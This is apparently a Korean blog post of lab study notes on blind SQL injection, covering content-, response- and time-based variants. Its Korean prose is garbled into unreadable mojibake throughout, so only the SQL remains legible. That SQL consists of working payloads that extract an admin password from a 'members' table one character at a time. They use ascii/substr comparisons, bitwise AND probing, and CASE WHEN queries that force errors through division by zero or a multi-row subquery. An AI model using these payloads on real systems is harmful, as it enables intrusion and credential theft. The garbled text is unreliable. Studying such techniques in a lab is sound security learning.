Blind Injection -2
- -
1. ์น์ฌ์ดํธ ์์ฒด ์๋ฌ ํ์ด์ง๊ฐ ๋จ์ง ์์ ๋
2. ๋ฐ์ดํฐ ๋ฒ ์ด์ค ์๋ต์ด ์๋ ์๋ฒ ์๋ต์ผ๋ก ๋์ฌ ๋
3. Order by์ ์ด ๋ถ๊ฐ๋ฅํ ๋
๋ค์ํ Blind ๊ณต๊ฒฉ ๋ฐฉ๋ฒ
Content Blind (๊ธฐ์ค๋ฌธ์)
Response Blind (์๋ต๋ฉ์ธ์ง)
๋ค์ํ Blind ํ์ ๊ธฐ๋ฒ
์์ฐจ ํ์
์ด์ง ํ์
๋นํธ์ฐ์ฐ ํ์
Blind ๊ณต๊ฒฉ
ํต์ฌ์ ์๋ฒ์ ์ฐธ๊ณผ ๊ฑฐ์ง์ ์๋ต์ ๊ฐ์ง๊ณ ํ๋ณ
Content Based ๊ฒ์ํ ์์ฒด์์ ์ฐธ/๊ฑฐ์ง์ ํ๋ณํ ์ ์๋ ๋ฐ์ดํฐ๊ฐ ์๋ ๊ฒฝ์ฐ
ex) test๋ผ๋ ๊ธฐ์ค๋ฌธ์๋ฅผ ๊ฐ์ง๊ณ ๊ฒ์์ ํ์์ ๋
์ฐธ : test๊ฐ ํฌํจ๋ ๊ตฌ๋ฌธ์ด ์ถ๋ ฅ
๊ฑฐ์ง : ์๋ฌด ๋ฌธ์๋ ์ถ๋ ฅ์ด ๋์ง ์์
Response Based
์๋ฒ์ ์๋ต์ฌ์ด์ฆ๋ฅผ ๋ณด๊ณ ๊ฒฐ์
์ฐธ : ๊ฒ์๊ธ์ด ์กด์ฌํ์ง ์์ต๋๋ค
๊ฑฐ์ง : ํ์ด์ง ์๋ฌ ์๋ด
Time Based
์ด๋ ํ ์ํฉ์์๋ ์ฐธ/๊ฑฐ์ง์ ํ๋ณํ ์ ์๊ณ ,
์๋ต๊ฐ๋ ์์ ๊ฒฝ์ฐ ๋คํธ์ํฌ ํธ๋ํฝ์ ์ด์ฉํ์ฌ ๊ฐ์ ๋ก ์ฐธ/๊ฑฐ์ง์ ํ๋ณ
์ฐธ : ๊ฒ์๊ธ์ด ์กด์ฌํ์ง ์์ต๋๋ค
๊ฑฐ์ง : 5~10์ด ์ ๋ ์ง์ฐ์๊ฐ์ด ๋ฐ์ ํ ๊ฒฐ๊ณผ ์ถ๋ ฅ
์๊ฐ์ ์ผ๋ก ๊ฐ์ฅ ์ค๋๊ฑธ๋ฆฌ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ ์ค ํ๋
ํ์ ๋ฐฉ๋ฒ
์์ฐจ ํ์
1~10, a~z, A~Z ... ํน์๋ฌธ์ ํฌํจ
ํ๋์ฉ ๋์ ํ์ฌ ํ์ ๊ธฐ๋ฒ ์์ฑ
์ด์ง ํ์
0 1 2 3 4 5 6 7 8 9
a b c d e f g h i j k l m n o p q r s t u v w x y z
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
! @ # $ % ^ & * ( ) - _ = + ' ~ [ ] { } < > ? / \ |
ASCII ์ฝ๋
33 ~ 126๊น์ง ์์คํค ์ฝ๋ ๊ฐ์ ๋ถ์ฌ
80๋ถํฐ ์์์ด ๊ฐ์ด๋ฐ๋ถํฐ ์์์ด๊ฒ ์ง๋ง, ๋ณดํต 97(a)๋ถํฐ ์์
'board'๋ผ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ 'members'๋ผ๋ ํ ์ด๋ธ์์
'id'๊ฐ 'admin'์ธ 'password'์นผ๋ผ์ '์ฒซ'๋ฌธ์์ '์์คํค์ฝ๋'๊ฐ '80'๋ณด๋ค 'ํฐ'๊ฐ์ ?
adminํจ์ค์๋๊ฐ @dmin์ด๋ผ๊ณ ํ๋ค๋ฉด
SELECT ascii(substr((SELECT password FROM board.members WHERE id='admin'),1,1))>80
1. SELECT password FROM board.members WHERE id='admin' > @dmin
2. substr,1,1 + @dmin ==> @
3. ascii(@) ==> 64
4. 64>80
5. ๊ฑฐ์ง
SELECT ascii('a') # ๋ฌธ์๋ฅผ ์ซ์๋ก ๋ณํ
SELECT char('97') # ์ซ์๋ฅผ ๋ฌธ์๋ก ๋ณํ
members ํ ์ด๋ธ์์ ์๋ก์ด ๋ฐ์ดํฐ๋ฅผ ์ถ๊ฐํ์์ต๋๋ค.
Content Blind๋ฅผ ํตํด์ ์ถ๊ฐ๋ ํ์์ ์ ๋ณด๋ฅผ ์ถ์ถํ์ธ์
ascii(substr((SELECT id FROM board.members WHERE idx=6),1,1))=108
ascii(substr((SELECT id FROM board.members WHERE idx=6),2,1))=101
ascii(substr((SELECT id FROM board.members WHERE idx=6),3,1))=101
ascii(substr((SELECT id FROM board.members WHERE idx=6),4,1))=106
ascii(substr((SELECT id FROM board.members WHERE idx=6),5,1))=105
ascii(substr((SELECT id FROM board.members WHERE idx=6),6,1))=101
ascii(substr((SELECT id FROM board.members WHERE idx=6),7,1))=117
ascii(substr((SELECT id FROM board.members WHERE idx=6),8,1))=110
ascii(substr((SELECT password FROM board.members WHERE idx=6),1,1))=103
0x21 =>33 0010 0001
> ์์คํค ์ฝ๋๋ ๋ฌด์กฐ๊ฑด 7bit
0x7e =>126 0111 1110
ascii('d') = 100 = 110 0100
์ฒซ ๋ฒ์งธ ์๋ฆฌ๋ฅผ 1bit์ ANDํ๋ฉด 1์ธ๊ฐ์ ?
๋ ๋ฒ์งธ ์๋ฆฌ๋ฅผ 1bit์ ANDํ๋ฉด 1์ธ๊ฐ์ ?
์ธ ๋ฒ์งธ ์๋ฆฌ๋ฅผ 1bit์ ANDํ๋ฉด 1์ธ๊ฐ์ ?
๋ค ๋ฒ์งธ ์๋ฆฌ๋ฅผ 1bit์ ANDํ๋ฉด 1์ธ๊ฐ์ ?
๋ค์ฏ ๋ฒ์งธ ์๋ฆฌ๋ฅผ 1bit์ ANDํ๋ฉด 1์ธ๊ฐ์ ?
์ฌ์ฏ ๋ฒ์งธ ์๋ฆฌ๋ฅผ 1bit์ ANDํ๋ฉด 1์ธ๊ฐ์ ?
์ผ๊ณฑ ๋ฒ์งธ ์๋ฆฌ๋ฅผ 1bit์ ANDํ๋ฉด 1์ธ๊ฐ์ ?
110 0110
xxx xxx0
1
----------------- and์ฐ์ฐ
0
xxx xx1x
10
-----------------and์ฐ์ฐ
1
xxx x1xx
100
------------------and์ฐ์ฐ
1
'board'๋ผ๋ ๋ฐ์ดํฐ ๋ฒ ์ด์ค์ 'members' ํ ์ด๋ธ์์ 'id'๊ฐ 'admin'์ธ 'password'์ปฌ๋ผ์
์ฒซ ๋ฌธ์์ ์์คํค ์ฝ๋ ๊ฐ์ 1๊ณผ and ๋นํธ ์ฐ์ฐ์ ํ๋ฉด 1๊ณผ ๊ฐ๋์?
SELECT ascii(substr((SELECT password FROM board.members WHERE id='admin'),1,1))&1=1
์๋ฆฌ์ ๊ณ์ฐํ๊ธฐ
0100 0000 & 0000 0010 == 1?
ascii(substr((SELECT password FROM board.members WHERE id='admin'),1,1))&1=1 # ๊ฑฐ์ง : 0
0100 0000 & 0000 0100 == 1?
0100 0000 & 0000 1000 == 1?
ascii(substr((SELECT password FROM board.members WHERE id='admin'),1,1))&2=1 ๊ฑฐ์ง : 0
ascii(substr((SELECT password FROM board.members WHERE id='admin'),1,1))&4=4 ๊ฑฐ์ง : 0
ascii(substr((SELECT password FROM board.members WHERE id='admin'),1,1))&8=8 ๊ฑฐ์ง : 0
ascii(substr((SELECT password FROM board.members WHERE id='admin'),1,1))&16=16 ๊ฑฐ์ง : 0
ascii(substr((SELECT password FROM board.members WHERE id='admin'),1,1))&32=32 ๊ฑฐ์ง : 0
ascii(substr((SELECT password FROM board.members WHERE id='admin'),1,1))&64=64 ์ฐธ : 1
0100 0000 > @
'admin' ๋น๋ฐ๋ฒํธ ์ฐพ๊ธฐ
110 0100 >> 10์ง์๋ก ๋ณ๊ฒฝ : 100
SELECT char(100) : d
gugucon์ ๋น๋ฐ๋ฒํธ๋ฅผ ์์๋ณด์
1. ๋น๋ฐ๋ฒํธ ๊ฐฏ์ ์์๋ณด๊ธฐ
Response Blind Based
>> ์๋ฒ์ ์๋ต๊ฐ์ ์ฉ๋
400 // 200 // 500
404 : not found
200 : OK
501 : GATEWAY - ์๋ฒ ์๋ฌ
CASE WHEN ๊ตฌ๋ฌธ์ ์ฌ์ฉํด์ ๋์ == if ๋ฌธ
if(์กฐ๊ฑด){ ์ฐธ }
else{๊ฑฐ์ง}
CASE WHEN ์กฐ๊ฑด THEN ์ฐธ ELSE ๊ฑฐ์ง END
SELECT CASE WHEN 1=1 THEN (SELECT 1) ELSE (SELECT 2) END;
SELECT CASE WHEN 1=1 THEN (SELECT 'TRUE') ELSE (SELECT 'FALSE') END;
RESPONSE๊ฐ ํ ๋ธ๋ผ์ธ๋๋ณด๋ค ๊น๋ค๋ก์ด์
๋ฐ๋์ ๊ตฌ๋ฌธ ์๋ฌ๊ฐ ์์ด์ผํ๋ค
DBMS์ SQL ์ฟผ๋ฆฌ๋ฌธ์ ์ ๋ ฅ
"SELECT * FROM table" ์ด๋ผ๋ SQL ๊ตฌ๋ฌธ์ ์ ๋ ฅํ์์ ๋
1. DBMS๊ฐ ๊ตฌ๋ฌธ ๋ถ์ > ๋ฌธ๋ฒ์ ์ค๋ฅ๊ฐ ์๋๊ฐ ? , ์๋ฃํ์ด ์ ๋ง๋๊ฐ ?
2. ์ปดํ์ผ
3. ์คํ > [์ค๋ฅ]
๋ค์ค ์ฟผ๋ฆฌ ์ค๋ฅ
๋๋๊ธฐ 0
SELECT CASE WHEN 1=1 THEN 'TRUE' ELSE(SELECT 'a' UNION SELECT 'b') END;
SELECT CASE WHEN 1=1 THEN 'TRUE' ELSE(SELECT 1/0) END; # TRUE
SELECT CASE WHEN 1=2 THEN 'TRUE' ELSE(SELECT 1/0) END; # FALSE
'and 1=(CASE WHEN 1=1 THEN 1 ELSE (SELECT 'a' union SELECT 'b') END)# TRUE
'and 1=(CASE WHEN 1=2 THEN 1 ELSE (SELECT 'a' union SELECT 'b') END)# FALSE
'๐ Secure' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Oracle database ๊ณต๊ฒฉ ์ค์ต (0) | 2022.07.05 |
---|---|
ORACLE INJECTION (0) | 2022.07.05 |
Blind Injection -1 (0) | 2022.07.01 |
oracle ํ๊ฒฝ ์ค์ (0) | 2022.06.30 |
UNION SQL INJECTION (0) | 2022.06.30 |
๋น์ ์ด ์ข์ํ ๋งํ ์ฝํ ์ธ
์์คํ ๊ณต๊ฐ ๊ฐ์ฌํฉ๋๋ค